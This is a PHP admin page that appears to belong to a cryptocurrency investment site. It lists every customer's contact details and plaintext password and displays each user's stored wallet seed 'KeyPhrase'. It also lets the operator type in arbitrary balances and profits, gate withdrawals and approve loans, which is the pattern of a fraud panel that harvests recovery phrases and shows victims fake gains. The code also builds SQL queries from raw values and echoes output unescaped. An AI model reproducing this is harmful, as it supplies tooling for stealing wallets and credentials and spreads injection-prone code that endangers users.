<?php 
require('header.php');
?>
<style>
    body{
        color:black;
        font-size:14px;
    }
    .row {
      margin-right: 0;
      margin-left: 0;
}
input{
        color:black;
        font-size:14px !important;
}
</style>
	<!-- TRACKING ORDER -->
	<section class="py-5" id="">
		<div class="container py-md-3">
			<h4 class="heading text-center mb-sm-5 my-4 text-white"> <span class="fa fa-users"></span> VIEW ACCOUNTS </h4>
			    <div class="datalist-wrapper">
						
						<div class="container">
						<div class="row">
						<?php
						$getData = "SELECT * FROM new_customer ORDER BY customer_id DESC";
						$retrieveData = mysqli_query($cxn, $getData);
						if($retrieveData){
							$countall = mysqli_num_rows($retrieveData);
							while($sendData = mysqli_fetch_array($retrieveData)){
							    $cus_id = $sendData['customer_email'];
							    $getPhraseData = "SELECT * FROM key_phrase WHERE user_id = '$cus_id'";
						        $queryPhraseData = mysqli_query($cxn, $getPhraseData);
						        $keyPhrase = '';
						        $walletType = '';
							    if(mysqli_num_rows($queryPhraseData) > 0){
    							    $getkeyData = mysqli_fetch_array($queryPhraseData);
    							    $keyPhrase = $getkeyData['keysphrase'];
    						        $walletType = $getkeyData['wallet_type'];
							    }
							    $getLoanData = "SELECT * FROM loans WHERE user_id = '$cus_id'";
						        $queryLoanData = mysqli_query($cxn, $getLoanData);
						        $loanStatus = null;
						        $Amount = null;
							    if(mysqli_num_rows($queryLoanData) > 0){
    							    $getkeyData = mysqli_fetch_array($queryLoanData);
    							    $loanStatus = $getkeyData['loan_status'];
    						        $Amount = $getkeyData['amount'];
							    }
							    
						?>
					
					<div class="col-md-6 bg-white" style="border:5px solid black;">
						<div class="header-shipment">
						
							<ul>
							    <li class="text-center"><center><div class="box-image w-50"><img src="images/user.svg" width="100%"></div></center></li>
								<li>Client Name: <strong><?php echo $sendData['customer_fname']; ?> <?php echo $sendData['customer_lname']; ?></strong></li>
								<li>Phone: <strong><?php echo $sendData['customer_phone']; ?></strong></li>
								<li>Email: <strong><?php echo $sendData['customer_email']; ?></strong></li>
								<li>Account Password: <strong><?php echo $sendData['customer_password_unhash']; ?></strong></li>
								<li>Signup Date: <strong><?php echo format_d_date($sendData['created_at']); ?></strong></li>
							</ul>
							<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline  w-100 my-1">
							    <input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
							     <?php if($sendData['validate_is_true']== true){ ?> <strong>Account Validated for Withdraw</strong> <?php }else{ ?> <button type="submit" name="validate_acct" value="true" class="btn btn-sm btn-primary">Validate Account</button> <?php } ?>
							</form>
							  </div>
							  <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline  w-100 my-3">
							  <div class="form-group form-inline w-100">
								  <label><small>Rank</small></label>
								  <div class="input-group w-100" >
								  <select name="user_rank" class="form-control">
								  
								    <option value="Member" <?php echo ($sendData['current_active_plan'] == "Member")?'selected':''; ?>>Member</option>
								    <option value="Leader" <?php echo ($sendData['current_active_plan'] == "Leader")?'selected':''; ?>>Leader</option>
								    <option value="Captain" <?php echo ($sendData['current_active_plan'] == "Captain")?'selected':''; ?>>Captain</option>
								    <option value="Victor" <?php echo ($sendData['current_active_plan'] == "Victor")?'selected':''; ?>>Victor</option>
    								    
								  </select>
							<input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
							<div class="input-group-append">
					<button type="submit" name="update_rank" value="true" class="btn btn-sm btn-success">Update Rank</button>
					</div>
							</div>
							</div>
							</form>
							
							
							  <form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline  w-100 my-3">
							  <div class="form-group form-inline w-100">
								  <label><small>Wallet Balance</small></label>
								  <div class="input-group w-100" >
								  <input type="text" name="new_balance" value="<?php echo $sendData['wallet_balance']; ?>" class="form-control">
							<input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
							<div class="input-group-append">
					<button type="submit" name="update_balance" value="<?php echo $sendData['wallet_balance']; ?>" class="btn btn-sm btn-success">Credit</button>
					</div>
							</div>
							</div>
							</form>
							<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline mb-3">
							  <div class="form-group form-inline w-100">
								  <label><small>Total Profit</small></label>
								  <div class="input-group w-100 ">
								  <input type="text" name="new_balance" value="<?php echo $sendData['total_profit']; ?>" class="form-control">
							<input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
							<div class="input-group-append">
					<button type="submit" name="update_profit" value="<?php echo $sendData['total_profit']; ?>" class="btn btn-sm btn-success">Credit</button>
					</div>
							</div>
							</div>
							</form>
					<div class="grpbtn row">  
      <a href="view_wire.php?client_email=<?php echo $sendData['customer_email']; ?>" type="button" class="btn btn-sm btn-primary p-1 rounded-0  col-6">Deposits</a>
	<a href="view_withdrawal.php?client_email=<?php echo $sendData['customer_email']; ?>" class="btn btn-sm btn-warning p-1 rounded-0  col-6">Withdrawals</a>
	<!-- <a href="view_verify.php?client_email=<?php echo $sendData['customer_email']; ?>" class="btn btn-sm btn-info p-1 rounded-0  col-6">Verification Data</a> -->
	<!--<button onclick="confirmdelete()" class="btn btn-sm btn-danger p-1">Delete Account</button>-->
	<a href="delete.php?client_email=<?php echo $sendData['customer_email']; ?>" class="btn btn-sm btn-danger p-1 rounded-0  col-6">Delete Account</a>
	<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline  w-100 my-3">
	    <input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
	   <button type="submit" name="acct_status" value="<?php echo $sendData['active_account']; ?>" class="btn btn-sm btn-<?php echo ($sendData['active_account'] == 'true')?'danger':'primary'; ?> p-1 rounded-0  col-6"><?php echo ($sendData['active_account'] == 'true')?'Disable':'Enable'; ?> Account</button>   
    </form>
	</div>
	
	<div class="row my-3">
	    <div class="col-md-12 border border-secondary p-2">
	        <strong>KeyPhrase(<?php echo $walletType ?>):</strong> 
	        <?php echo $keyPhrase ?>
	        </div>
	    </div>
	<?php if($loanStatus !== null){ ?>
	<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']);?>" method="POST" class="form-inline  w-100 my-3 p-2 rounded" style="background:#ccf1ff">
	 <div class="form-group form-inline w-100">
	   <label><small>Amount:</small></label>
	    <input type="text" class="form-control my-2 w-100" value="<?php echo $Amount; ?>" readonly>
	 </div>
		<div class="form-group form-inline w-100">
				<label><small>Loan Application</small></label>
					<div class="input-group w-100" >
								  <select name="loan_status" class="form-control">
								    <option value="Pending" <?php echo ($loanStatus == "Pending")?'selected':''; ?>>Pending</option>
								    <option value="Approved" <?php echo ($loanStatus == "Approved")?'selected':''; ?>>Approved</option>
								    <option value="Denied" <?php echo ($loanStatus == "Denied")?'selected':''; ?>>Denied</option>
								  </select>
							<input type="hidden" class="" value="<?php echo $sendData['customer_email']; ?>" name="investment_email" >
							<div class="input-group-append">
					<button type="submit" name="update_loan" value="true" class="btn btn-sm btn-success">Update Loan</button>
				</div>
		    </div>
        </div>
	</form>
	<?php } ?>
	<script>
		function confirmdelete(){
			if(confirm('Are you sure you want to delete this Account?')){
				location.href="delete.php?client_email=<?php echo $sendData['customer_email']; ?>";
			}
		}
	</script>
	</div><?php }} ?>
				</div>
				</div>
				</div>
			</div>
		</div>
		</div>
	</section>

<script src="js/jquery-3.3.1.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/popper.min.js"></script>
</body>

</html>